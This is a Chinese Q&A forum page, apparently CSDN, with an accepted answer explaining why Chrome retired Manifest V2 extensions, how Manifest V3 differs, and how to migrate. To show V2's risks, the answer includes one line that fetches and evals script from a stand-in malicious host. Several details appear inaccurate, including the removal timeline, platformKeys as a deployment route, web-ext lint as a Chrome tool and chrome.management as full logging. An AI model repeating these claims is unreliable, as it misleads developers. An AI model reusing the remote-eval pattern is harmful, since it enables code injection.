普通网友 2026-02-10 20:30 采纳率: 98.2%
浏览 0
已采纳

Chrome浏览器为何不再支持Manifest V2扩展?

**常见技术问题:** 为什么Chrome自2024年6月起全面禁用Manifest V2扩展?根本原因在于安全与隐私架构的演进。Manifest V2允许过宽权限(如``、远程代码执行、任意脚本注入),导致恶意扩展长期滥用——据Google统计,超70%的恶意扩展依赖V2的宽松机制。Manifest V3通过限制`content_scripts`注入方式、废除`eval()`类动态代码、引入Service Worker替代后台页、强制声明最小必要权限等设计,显著降低攻击面。虽部分开发者反馈V3性能受限(如广告拦截器规则加载延迟),但Google强调:安全性是底线,V3的沙箱化、声明式API和可审计性更符合现代浏览器安全模型。过渡期已持续三年(2021–2024),所有V2扩展在Chrome 127+中彻底失效,仅企业策略可临时豁免(非公开分发场景)。
  • 写回答

1条回答 默认 最新

  • ScandalRafflesia 2026-02-10 20:30
    关注
    ```html

    一、现象层:Chrome为何在2024年6月彻底停用Manifest V2?

    自Chrome 127(2024年6月正式推送)起,所有非企业托管环境下的Manifest V2扩展均无法安装或运行。用户点击启用时将收到明确提示:“此扩展程序使用已弃用的Manifest版本,Chrome不再支持”。这一动作并非突发政策,而是Google自2021年M91起启动的三年渐进式淘汰计划的终点。

    二、机制层:Manifest V2的“宽松权限模型”如何成为安全黑洞?

    • "permissions": ["<all_urls>"] 允许无差别访问任意网页DOM,为键盘记录、表单窃取提供温床;
    • content_scripts 可动态注入任意远程JS(如fetch("https://mal.example/c.js").then(eval)),绕过CSP;
    • 后台页(background.html)长期驻留内存,具备完整API调用能力,且可执行eval()new Function()等高危操作;
    • 无最小权限声明机制——90%的V2扩展申请了远超功能所需的权限(如天气插件请求tabswebRequest)。

    三、架构层:Manifest V3如何重构浏览器扩展安全范式?

    V2机制V3对应演进安全收益
    持久化后台页Service Worker(无DOM、事件驱动、自动终止)消除长期驻留进程,阻断持久化后门
    eval() / setTimeout("code")完全禁止字符串求值类API切断动态代码加载链,防御混淆恶意载荷
    任意content script注入声明式注入(scripting.executeScript + 静态JS文件白名单)注入行为可审计、不可绕过CSP、不可远程加载

    四、权衡层:V3引发的行业争议与技术妥协

    广告拦截器(如uBlock Origin)在V3下需将数万条过滤规则预编译为静态declarativeNetRequest规则集,导致:

    • 规则更新延迟:从秒级(V2动态JS)延长至小时级(需重新提交审核);
    • 规则数量硬上限:免费扩展仅限30,000条(企业版可扩至300,000);
    • 动态策略失效:无法实时响应网站结构变更(如CSS选择器突变)。

    Google回应称:“可预测性优于灵活性——攻击者同样依赖动态性。”

    五、演进层:从V2到V3的迁移路径与企业豁免逻辑

    graph LR A[V2扩展存量] --> B{是否通过Chrome Web Store发布?} B -->|是| C[2022年1月起禁止新提交] B -->|否| D[企业策略部署:chrome.enterprise.platformKeys] C --> E[2023年10月:Chrome 119禁用已安装V2] E --> F[2024年6月:Chrome 127彻底移除V2运行时] D --> G[仅限域内GPO/MDM管控设备,不适用于公开分发]

    六、实践层:面向资深开发者的迁移检查清单

    1. background.js重写为Service Worker,并移除windowdocument引用;
    2. chrome.declarativeNetRequest替代webRequest API进行网络拦截;
    3. 将动态生成的content script拆分为多个预定义JS文件,通过scripting.registerContentScripts声明;
    4. 权限粒度收缩:删除"<all_urls>",改用"host_permissions"按需声明;
    5. 构建时校验:使用web-ext lint --manifest-version 3检测兼容性;
    6. 性能监控:通过chrome.runtime.getPlatformInfo()采集SW启动延迟与内存占用。

    七、战略层:V3不仅是技术升级,更是浏览器权力边界的再定义

    Manifest V3标志着Chrome从“扩展能力平台”转向“受控服务代理”——扩展不再拥有对页面的直接控制权,而必须通过浏览器提供的声明式接口间接协作。这种转变使浏览器厂商获得三重治理能力:

    • 审计能力:所有扩展行为均可通过chrome.management API全量日志化;
    • 沙箱纵深:content script运行于独立渲染进程上下文,与页面主JS堆隔离;
    • 策略主权:企业IT可通过ExtensionSettings策略强制启用/禁用特定API,无需修改扩展源码。
    ```
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

问题事件

  • 已采纳回答 今天
  • 创建了问题 2月10日